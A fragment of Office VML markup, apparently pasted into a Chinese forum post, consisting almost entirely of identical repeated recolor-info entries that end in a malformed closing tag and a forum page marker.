fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v/recolorinfo>
</html>
[/code]
页:
[1]